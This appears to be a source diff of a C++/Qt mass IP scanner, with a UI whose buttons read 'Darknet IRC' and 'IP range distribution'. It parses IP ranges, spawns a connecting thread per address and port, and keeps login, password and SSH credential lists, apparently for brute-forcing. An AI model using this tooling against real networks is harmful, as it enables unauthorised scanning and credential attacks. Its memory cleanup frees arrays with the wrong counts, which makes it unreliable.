|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="toolTip">
|
||||
<string>Darknet IRC</string>
|
||||
</property>
|
||||
<property name="whatsThis">
|
||||
<string>Darknet IRC</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:IRC</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="JobModeBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>390</x>
|
||||
<y>50</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="toolTip">
|
||||
<string>IP range distribution</string>
|
||||
</property>
|
||||
<property name="whatsThis">
|
||||
<string>IP range distribution</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:Jobs</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="IRCModeChangerBut">
|
||||
<property name="enabled">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>290</x>
|
||||
<y>50</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="toolTip">
|
||||
<string>Raw or normal log view</string>
|
||||
</property>
|
||||
<property name="whatsThis">
|
||||
<string>Raw or normal log view</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:IRC raw</string>
|
||||
</property>
|
||||
</widget>
|
||||
</widget>
|
||||
</widget>
|
||||
<layoutdefault spacing="6" margin="11"/>
|
||||
|
@ -2,6 +2,7 @@
|
||||
#include "STh.h"
|
||||
#include "resource.h"
|
||||
|
||||
bool __savingBackUpFile = false;
|
||||
bool horLineFlag = false;
|
||||
QJsonArray *jsonArr = new QJsonArray();
|
||||
static int portArr[65536] = {0};
|
||||
@ -21,7 +22,8 @@ int OnLiner = 0;
|
||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
||||
int ipsstart[4], ipsend[4],
|
||||
startNum, endNum, overallPorts, flCounter, octet[4];
|
||||
unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4];
|
||||
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
|
||||
unsigned int importFileSize = 0;
|
||||
int gPingTimeout = 2000;
|
||||
double ips = 0;
|
||||
char top_level_domain[128] = {0};
|
||||
@ -31,7 +33,6 @@ char **GlobalNegatives = 0;
|
||||
char **loginLst, **passLst;
|
||||
char **wfLoginLst, **wfPassLst;
|
||||
char **sshlpLst;
|
||||
//char des1[64] = {0}, res[32]= {0};
|
||||
char saveStartIP[128] = {0};
|
||||
char saveEndIP[128] = {0};
|
||||
char gRange[128] = {0};
|
||||
@ -222,33 +223,33 @@ void _SaveBackupToFile()
|
||||
|
||||
if(flCounter > 0)
|
||||
{
|
||||
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
||||
if (savingFile != NULL)
|
||||
{
|
||||
for(int tCounter = gC; tCounter < flCounter; ++tCounter)
|
||||
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
||||
if (savingFile != NULL)
|
||||
{
|
||||
for(int i = 0; i < 4; ++i)
|
||||
for(int tCounter = gC; tCounter < flCounter; ++tCounter)
|
||||
{
|
||||
strcat(curIpStart, std::to_string((long double)ipsstartfl[tCounter][i]).c_str());
|
||||
if ( i != 3) strcat(curIpStart, ".");
|
||||
strcat(curIpEnd, std::to_string((long double)ipsendfl[tCounter][i]).c_str());
|
||||
if ( i != 3) strcat(curIpEnd, ".");
|
||||
for(int i = 0; i < 4; ++i)
|
||||
{
|
||||
strcat(curIpStart, std::to_string((long double)ipsstartfl[tCounter][i]).c_str());
|
||||
if ( i != 3) strcat(curIpStart, ".");
|
||||
strcat(curIpEnd, std::to_string((long double)ipsendfl[tCounter][i]).c_str());
|
||||
if ( i != 3) strcat(curIpEnd, ".");
|
||||
};
|
||||
|
||||
strcpy(ipRange, curIpStart);
|
||||
strcat(ipRange, "-");
|
||||
strcat(ipRange, curIpEnd);
|
||||
strcat(ipRange, "\n");
|
||||
|
||||
fputs(ipRange, savingFile);
|
||||
|
||||
ZeroMemory(ipRange, sizeof(ipRange));
|
||||
ZeroMemory(curIpStart, sizeof(curIpStart));
|
||||
ZeroMemory(curIpEnd, sizeof(curIpEnd));
|
||||
};
|
||||
|
||||
strcpy(ipRange, curIpStart);
|
||||
strcat(ipRange, "-");
|
||||
strcat(ipRange, curIpEnd);
|
||||
strcat(ipRange, "\n");
|
||||
|
||||
fputs(ipRange, savingFile);
|
||||
|
||||
ZeroMemory(ipRange, sizeof(ipRange));
|
||||
ZeroMemory(curIpStart, sizeof(curIpStart));
|
||||
ZeroMemory(curIpEnd, sizeof(curIpEnd));
|
||||
};
|
||||
fclose(savingFile);
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[_saver] Cannot open file.");
|
||||
fclose(savingFile);
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[_saver] Cannot open file.");
|
||||
};
|
||||
|
||||
strcpy(saveStr, "[SESSION]:");
|
||||
@ -380,8 +381,9 @@ void _saver()
|
||||
{
|
||||
while(globalScanFlag)
|
||||
{
|
||||
__savingBackUpFile = true;
|
||||
_SaveBackupToFile();
|
||||
|
||||
__savingBackUpFile = false;
|
||||
Sleep(10000);
|
||||
};
|
||||
};
|
||||
@ -865,31 +867,27 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
|
||||
// return res;
|
||||
//};
|
||||
|
||||
Connector con;
|
||||
#if defined(WIN32)
|
||||
void _connect(void* ss)
|
||||
#else
|
||||
void *_connect(void* ss)
|
||||
#endif
|
||||
{
|
||||
if(globalScanFlag)
|
||||
++ipCounter;
|
||||
char ip[MAX_ADDR_LEN] = {0};
|
||||
strcpy(ip, ((sockstruct*)ss)->argv);
|
||||
//char hostLog[256] = {0};
|
||||
//strcpy(hostLog, GetHost(ip));
|
||||
delete []ss;
|
||||
|
||||
for(int i = 0; i <= overallPorts; ++i)
|
||||
{
|
||||
char ip[MAX_ADDR_LEN] = {0};
|
||||
strcpy(ip, ((sockstruct*)ss)->argv);
|
||||
delete []ss;
|
||||
//char hostLog[256] = {0};
|
||||
//strcpy(hostLog, GetHost(ip));
|
||||
|
||||
Connector con;
|
||||
++ipCounter;
|
||||
|
||||
for(int i = 0; i <= overallPorts; ++i)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
con._ConnectToPort( ip, std::to_string((long double)portArr[i]).c_str(), "" );
|
||||
};
|
||||
|
||||
ConDec();
|
||||
if(globalScanFlag == false) break;
|
||||
con._ConnectToPort( ip, std::to_string((long double)portArr[i]).c_str(), "" );
|
||||
};
|
||||
|
||||
ConDec();
|
||||
};
|
||||
void targetAndIPWriter(unsigned long int target, char *buff)
|
||||
{
|
||||
@ -1522,13 +1520,11 @@ int fInit(int InitMode, char *gR)
|
||||
ipsend[1] = ipsendfl[flCounter][1];
|
||||
ipsend[2] = ipsendfl[flCounter][2];
|
||||
ipsend[3] = ipsendfl[flCounter][3];
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
int x;
|
||||
char des1[64] = {0};
|
||||
//memcpy(res, "\0", sizeof(res));
|
||||
|
||||
for(int i = 0; i < 3; i++) //Filling the range-starting ip mass.
|
||||
{
|
||||
@ -1539,10 +1535,8 @@ int fInit(int InitMode, char *gR)
|
||||
ZeroMemory(des1, sizeof(des1));
|
||||
if(ipsstart[i] > 255)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[Error] Incorrect range.");
|
||||
stt->doEmitionKillSttThread();
|
||||
#pragma endregion
|
||||
return -1;
|
||||
};
|
||||
};
|
||||
@ -1550,10 +1544,8 @@ int fInit(int InitMode, char *gR)
|
||||
x = strcspn(gR, "-");
|
||||
if(strstr(gR, "-") == NULL)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[Error] Incorrect range.");
|
||||
stt->doEmitionKillSttThread();
|
||||
#pragma endregion
|
||||
return -1;
|
||||
};
|
||||
|
||||
@ -1563,10 +1555,8 @@ int fInit(int InitMode, char *gR)
|
||||
|
||||
if(strstr(gR, ".") == NULL)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[Error] Incorrect range.");
|
||||
stt->doEmitionKillSttThread();
|
||||
#pragma endregion
|
||||
return -1;
|
||||
};
|
||||
|
||||
@ -1579,10 +1569,8 @@ int fInit(int InitMode, char *gR)
|
||||
|
||||
if(ipsend[i] > 255)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[Error] Incorrect range.");
|
||||
stt->doEmitionKillSttThread();
|
||||
#pragma endregion
|
||||
return -1;
|
||||
};
|
||||
};
|
||||
@ -1601,10 +1589,8 @@ int fInit(int InitMode, char *gR)
|
||||
)
|
||||
)
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[Error] Incorrect range.");
|
||||
stt->doEmitionKillSttThread();
|
||||
#pragma endregion
|
||||
return -1;
|
||||
};
|
||||
|
||||
@ -1625,178 +1611,222 @@ void FileLoader(char *str)
|
||||
FILE *fl = fopen(str, "r");
|
||||
if(fl != NULL)
|
||||
{
|
||||
while(fgets((char*)curIP, sizeof(curIP), fl) != NULL)
|
||||
{
|
||||
if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
|
||||
{
|
||||
++importFileSize;
|
||||
};
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
};
|
||||
|
||||
ipsstartfl = new unsigned char*[importFileSize + 2];
|
||||
ipsendfl = new unsigned char*[importFileSize + 2];
|
||||
starterIP = new unsigned char*[importFileSize + 2];
|
||||
ZeroMemory(ipsstartfl, importFileSize);
|
||||
ZeroMemory(ipsendfl, importFileSize);
|
||||
ZeroMemory(starterIP, importFileSize);
|
||||
for(int i = 0; i < importFileSize; ++i)
|
||||
{
|
||||
ipsstartfl[i] = new unsigned char[4];
|
||||
ipsendfl[i] = new unsigned char[4];
|
||||
starterIP[i] = new unsigned char[4];
|
||||
|
||||
ZeroMemory(ipsstartfl[i], 4);
|
||||
ZeroMemory(ipsendfl[i], 4);
|
||||
ZeroMemory(starterIP[i], 4);
|
||||
};
|
||||
|
||||
rewind(fl);
|
||||
|
||||
while(fgets(curIP, 64, fl) != NULL)
|
||||
{
|
||||
strcpy(curIPCopy, curIP);
|
||||
char *ptr1 = strstr(curIP, " ");
|
||||
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
|
||||
ptr1 = strstr(curIP, " ");
|
||||
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
ptr1 = strstr(curIP, "#");
|
||||
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
|
||||
if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
|
||||
{
|
||||
ZeroMemory(curIPCopy, sizeof(curIPCopy));
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
continue;
|
||||
};
|
||||
|
||||
if(strstr(curIP, "-") != NULL)
|
||||
{
|
||||
bool firstPart = true;
|
||||
int offset = 0;
|
||||
int curNIndex = 0;
|
||||
char curS;
|
||||
char curN[32] = {0};
|
||||
for(int i = 0; i < strlen(curIP); ++i)
|
||||
strcpy(curIPCopy, curIP);
|
||||
char *ptr1 = strstr(curIP, " ");
|
||||
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
|
||||
ptr1 = strstr(curIP, " ");
|
||||
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
ptr1 = strstr(curIP, "#");
|
||||
if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
|
||||
{
|
||||
curS = curIP[i];
|
||||
if(curS == '.')
|
||||
{
|
||||
if(firstPart)
|
||||
{
|
||||
starterIP[flCounter][offset] = atoi(curN);
|
||||
ipsstartfl[flCounter][offset] = atoi(curN);
|
||||
}
|
||||
else ipsendfl[flCounter][offset] = atoi(curN);
|
||||
++offset;
|
||||
curNIndex = 0;
|
||||
ZeroMemory(curN, 32);
|
||||
continue;
|
||||
};
|
||||
if(curS == '-')
|
||||
{
|
||||
if(firstPart)
|
||||
{
|
||||
starterIP[flCounter][offset] = atoi(curN);
|
||||
ipsstartfl[flCounter][offset] = atoi(curN);
|
||||
}
|
||||
else ipsendfl[flCounter][offset] = atoi(curN);
|
||||
offset = 0;
|
||||
firstPart = false;
|
||||
curNIndex = 0;
|
||||
ZeroMemory(curN, 32);
|
||||
continue;
|
||||
};
|
||||
curN[curNIndex++] = curS;
|
||||
if(i == strlen(curIP) - 1)
|
||||
{
|
||||
ipsendfl[flCounter][offset] = atoi(curN);
|
||||
};
|
||||
ZeroMemory(curIPCopy, sizeof(curIPCopy));
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
continue;
|
||||
};
|
||||
|
||||
if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0]
|
||||
|| ipsstartfl[flCounter][1] > ipsendfl[flCounter][1]
|
||||
|| ipsstartfl[flCounter][2] > ipsendfl[flCounter][2]
|
||||
|| ipsstartfl[flCounter][3] > ipsendfl[flCounter][3])
|
||||
if(strstr(curIP, "-") != NULL)
|
||||
{
|
||||
char tempMsg[64] = {0};
|
||||
strcpy(tempMsg, "[IP Loader]Error in IP list. Line-> [");
|
||||
strcat(tempMsg, std::to_string((long double)flCounter).c_str());
|
||||
strcat(tempMsg, "] String-> [");
|
||||
strcat(tempMsg, curIPCopy);
|
||||
strcat(tempMsg, "]");
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData(QString(tempMsg));
|
||||
#pragma endregion
|
||||
};
|
||||
|
||||
gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]);
|
||||
gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]);
|
||||
gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]);
|
||||
gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]);
|
||||
++flCounter;
|
||||
}
|
||||
else if(strstr(curIP, "/") != NULL)
|
||||
{
|
||||
char *str1;
|
||||
char *str2;
|
||||
char res[8] = {0};
|
||||
|
||||
int mask = 0;
|
||||
char *ptr1 = strstr(curIP, "/");
|
||||
GetOctets(curIP);
|
||||
|
||||
mask = atoi(ptr1 + 1);
|
||||
unsigned char mOctet[4];
|
||||
mOctet[0] = 1;
|
||||
mOctet[1] = 1;
|
||||
mOctet[2] = 1;
|
||||
mOctet[3] = 1;
|
||||
|
||||
if(mask >= 24)
|
||||
{
|
||||
mOctet[0] = 255;
|
||||
mOctet[1] = 255;
|
||||
mOctet[2] = 255;
|
||||
for(int i = 0; i < mask - 24 - 1; ++i)
|
||||
bool firstPart = true;
|
||||
int offset = 0;
|
||||
int curNIndex = 0;
|
||||
char curS;
|
||||
char curN[32] = {0};
|
||||
for(int i = 0; i < strlen(curIP); ++i)
|
||||
{
|
||||
mOctet[3] = mOctet[3] << 1;
|
||||
mOctet[3] |= 1;
|
||||
curS = curIP[i];
|
||||
if(curS == '.')
|
||||
{
|
||||
if(firstPart)
|
||||
{
|
||||
starterIP[flCounter][offset] = atoi(curN);
|
||||
ipsstartfl[flCounter][offset] = atoi(curN);
|
||||
}
|
||||
else ipsendfl[flCounter][offset] = atoi(curN);
|
||||
++offset;
|
||||
curNIndex = 0;
|
||||
ZeroMemory(curN, 32);
|
||||
continue;
|
||||
}
|
||||
else if(curS == '-')
|
||||
{
|
||||
if(firstPart)
|
||||
{
|
||||
starterIP[flCounter][offset] = atoi(curN);
|
||||
ipsstartfl[flCounter][offset] = atoi(curN);
|
||||
}
|
||||
else ipsendfl[flCounter][offset] = atoi(curN);
|
||||
offset = 0;
|
||||
firstPart = false;
|
||||
curNIndex = 0;
|
||||
ZeroMemory(curN, 32);
|
||||
continue;
|
||||
};
|
||||
curN[curNIndex++] = curS;
|
||||
if(i == strlen(curIP) - 1)
|
||||
{
|
||||
ipsendfl[flCounter][offset] = atoi(curN);
|
||||
};
|
||||
};
|
||||
mOctet[3] = mOctet[3] << 8 - (mask - 24);
|
||||
|
||||
if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0]
|
||||
|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
|
||||
&& ipsstartfl[flCounter][1] > ipsendfl[flCounter][1]
|
||||
)
|
||||
|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
|
||||
&& ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1]
|
||||
&& ipsstartfl[flCounter][2] > ipsendfl[flCounter][2]
|
||||
)
|
||||
|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
|
||||
&& ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1]
|
||||
&& ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2]
|
||||
&& ipsstartfl[flCounter][3] > ipsendfl[flCounter][3]
|
||||
)
|
||||
)
|
||||
{
|
||||
char tempMsg[64] = {0};
|
||||
strcpy(tempMsg, "[IP Loader]Error in IP list. Line-> [");
|
||||
strcat(tempMsg, std::to_string((long double)flCounter).c_str());
|
||||
strcat(tempMsg, "] String-> [");
|
||||
strcat(tempMsg, curIPCopy);
|
||||
strcat(tempMsg, "]");
|
||||
stt->doEmitionRedFoundData(QString(tempMsg));
|
||||
return;
|
||||
};
|
||||
|
||||
gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]);
|
||||
gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]);
|
||||
gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]);
|
||||
gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]);
|
||||
++flCounter;
|
||||
}
|
||||
else if(mask >= 16)
|
||||
else if(strstr(curIP, "/") != NULL)
|
||||
{
|
||||
mOctet[0] = 255;
|
||||
mOctet[1] = 255;
|
||||
for(int i = 0; i < mask - 16 - 1; ++i)
|
||||
char *str1;
|
||||
char *str2;
|
||||
char res[8] = {0};
|
||||
|
||||
int mask = 0;
|
||||
char *ptr1 = strstr(curIP, "/");
|
||||
GetOctets(curIP);
|
||||
|
||||
mask = atoi(ptr1 + 1);
|
||||
unsigned char mOctet[4];
|
||||
mOctet[0] = 1;
|
||||
mOctet[1] = 1;
|
||||
mOctet[2] = 1;
|
||||
mOctet[3] = 1;
|
||||
|
||||
if(mask >= 24)
|
||||
{
|
||||
mOctet[2] = mOctet[2] << 1;
|
||||
mOctet[2] |= 1;
|
||||
mOctet[0] = 255;
|
||||
mOctet[1] = 255;
|
||||
mOctet[2] = 255;
|
||||
for(int i = 0; i < mask - 24 - 1; ++i)
|
||||
{
|
||||
mOctet[3] = mOctet[3] << 1;
|
||||
mOctet[3] |= 1;
|
||||
};
|
||||
mOctet[3] = mOctet[3] << 8 - (mask - 24);
|
||||
}
|
||||
else if(mask >= 16)
|
||||
{
|
||||
mOctet[0] = 255;
|
||||
mOctet[1] = 255;
|
||||
for(int i = 0; i < mask - 16 - 1; ++i)
|
||||
{
|
||||
mOctet[2] = mOctet[2] << 1;
|
||||
mOctet[2] |= 1;
|
||||
};
|
||||
mOctet[2] = mOctet[2] << 8 - (mask - 16);
|
||||
mOctet[3] = 0;
|
||||
}
|
||||
else if(mask >= 8)
|
||||
{
|
||||
mOctet[0] = 255;
|
||||
for(int i = 0; i < mask - 8 - 1; ++i)
|
||||
{
|
||||
mOctet[1] = mOctet[1] << 1;
|
||||
mOctet[1] |= 1;
|
||||
};
|
||||
mOctet[1] = mOctet[1] << 8 - (mask - 8);
|
||||
mOctet[2] = 0;
|
||||
mOctet[3] = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
for(int i = 0; i < mask - 1; ++i)
|
||||
{
|
||||
mOctet[0] = mOctet[0]<< 1;
|
||||
mOctet[0] |= 1;
|
||||
};
|
||||
mOctet[0] = mOctet[0] << 8 - mask;
|
||||
mOctet[1] = 0;
|
||||
mOctet[2] = 0;
|
||||
mOctet[3] = 0;
|
||||
};
|
||||
mOctet[2] = mOctet[2] << 8 - (mask - 16);
|
||||
mOctet[3] = 0;
|
||||
|
||||
unsigned char ocRes = 0;
|
||||
for(int i = 0; i < 4; ++i)
|
||||
{
|
||||
ocRes = octet[i]&mOctet[i];
|
||||
starterIP[flCounter][i] = ocRes;
|
||||
ipsstartfl[flCounter][i] = ocRes;
|
||||
if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i];
|
||||
else ipsendfl[flCounter][i] = octet[i]|~mOctet[i];
|
||||
};
|
||||
|
||||
gTargets += pow((float)2, (32 - mask));
|
||||
++flCounter;
|
||||
}
|
||||
else if(mask >= 8)
|
||||
else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
|
||||
{
|
||||
mOctet[0] = 255;
|
||||
for(int i = 0; i < mask - 8 - 1; ++i)
|
||||
{
|
||||
mOctet[1] = mOctet[1] << 1;
|
||||
mOctet[1] |= 1;
|
||||
};
|
||||
mOctet[1] = mOctet[1] << 8 - (mask - 8);
|
||||
mOctet[2] = 0;
|
||||
mOctet[3] = 0;
|
||||
///DUMMY///
|
||||
}
|
||||
else
|
||||
{
|
||||
for(int i = 0; i < mask - 1; ++i)
|
||||
{
|
||||
mOctet[0] = mOctet[0]<< 1;
|
||||
mOctet[0] |= 1;
|
||||
};
|
||||
mOctet[0] = mOctet[0] << 8 - mask;
|
||||
mOctet[1] = 0;
|
||||
mOctet[2] = 0;
|
||||
mOctet[3] = 0;
|
||||
stt->doEmitionRedFoundData("[IP Loader] Wrong list format. String: " + QString(curIP));
|
||||
};
|
||||
|
||||
unsigned char ocRes = 0;
|
||||
for(int i = 0; i < 4; ++i)
|
||||
{
|
||||
ocRes = octet[i]&mOctet[i];
|
||||
starterIP[flCounter][i] = ocRes;
|
||||
ipsstartfl[flCounter][i] = ocRes;
|
||||
if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i];
|
||||
else ipsendfl[flCounter][i] = octet[i]|~mOctet[i];
|
||||
};
|
||||
|
||||
gTargets += pow((float)2, (32 - mask)) - 1;
|
||||
++flCounter;
|
||||
}
|
||||
else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
|
||||
{
|
||||
///DUMMY///
|
||||
}
|
||||
else
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[IP Loader] Wrong list format. String: " + QString(curIP));
|
||||
#pragma endregion
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
};
|
||||
};
|
||||
gTargets -= 1;
|
||||
gTargetsOverall = gTargets;
|
||||
targets = gTargets;
|
||||
|
||||
@ -1805,9 +1835,7 @@ void FileLoader(char *str)
|
||||
}
|
||||
else
|
||||
{
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
||||
#pragma endregion
|
||||
};
|
||||
};
|
||||
char *GetCIDRRangeStr(char *str)
|
||||
@ -2209,10 +2237,6 @@ int startScan(char* args)
|
||||
overallPorts = 0;
|
||||
found = 0;
|
||||
indexIP = 0;
|
||||
ZeroMemory(starterIP, sizeof(starterIP));
|
||||
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||
ZeroMemory(ipsendfl, sizeof(ipsendfl));
|
||||
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||
ZeroMemory(octet, sizeof(octet));
|
||||
ZeroMemory(ipsstart, sizeof(ipsstart));
|
||||
ZeroMemory(ipsend, sizeof(ipsend));
|
||||
@ -2282,18 +2306,19 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
if(globalScanFlag == false) break;
|
||||
while(ipsstart[0] < 256 && eor0 == 0)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
if(ipsstart[0] == ipsend[0]) eor0 = 1;
|
||||
if(globalScanFlag == false) break;
|
||||
while(ipsstart[1] < 256 && eor1 == 0)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
if(ipsstart[1] == ipsend[1] && eor0 == 1) eor1 = 1;
|
||||
if(globalScanFlag == false) break;
|
||||
while(ipsstart[2] < 256 && eor2 == 0)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
if(ipsstart[2] == ipsend[2] && eor1 == 1) eor2 = 1;
|
||||
if(globalScanFlag == false) break;
|
||||
while(ipsstart[3] < 256 && eor3 == 0)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
st = new sockstruct();
|
||||
ZeroMemory(st->argv, sizeof(st->argv));
|
||||
ZeroMemory(res, sizeof(res));
|
||||
@ -2313,16 +2338,12 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
strcpy(saveStartIP, res);
|
||||
|
||||
targetAndIPWriter(gTargets--, st->argv);
|
||||
|
||||
ConInc();
|
||||
#if defined(WIN32)
|
||||
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st );
|
||||
_beginthread( (void(*)(void*))_connect, 0, st );
|
||||
#else
|
||||
if(globalScanFlag)
|
||||
{
|
||||
pthread_t thrc;
|
||||
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st);
|
||||
};
|
||||
pthread_t thrc;
|
||||
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st);
|
||||
#endif
|
||||
Sleep(gThreadDelay);
|
||||
++ipsstart[3];
|
||||
@ -2587,13 +2608,10 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
|
||||
ConInc();
|
||||
#if defined(WIN32)
|
||||
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st );
|
||||
_beginthread( (void(*)(void*))_connect, 0, st );
|
||||
#else
|
||||
if(globalScanFlag)
|
||||
{
|
||||
pthread_t thrc;
|
||||
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st );
|
||||
};
|
||||
pthread_t thrc;
|
||||
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st );
|
||||
#endif
|
||||
Sleep(gThreadDelay);
|
||||
if(ipsstartfl[gC][3] == 255) break;
|
||||
@ -2627,7 +2645,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
#pragma endregion
|
||||
};
|
||||
|
||||
|
||||
Sleep(gTimeOut + 1);
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionYellowFoundData("Stopping threads...");
|
||||
@ -2676,7 +2693,24 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
delete []sshlpLst;
|
||||
sshlpLst = NULL;
|
||||
};
|
||||
|
||||
if(ipsstartfl != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxSSHPass; ++i) delete []ipsstartfl[i];
|
||||
delete []ipsstartfl;
|
||||
ipsstartfl = NULL;
|
||||
};
|
||||
if(ipsendfl != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxSSHPass; ++i) delete []ipsendfl[i];
|
||||
delete []ipsendfl;
|
||||
ipsendfl = NULL;
|
||||
};
|
||||
if(starterIP != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxSSHPass; ++i) delete []starterIP[i];
|
||||
delete []starterIP;
|
||||
starterIP = NULL;
|
||||
};
|
||||
#pragma region QTGUI_Area
|
||||
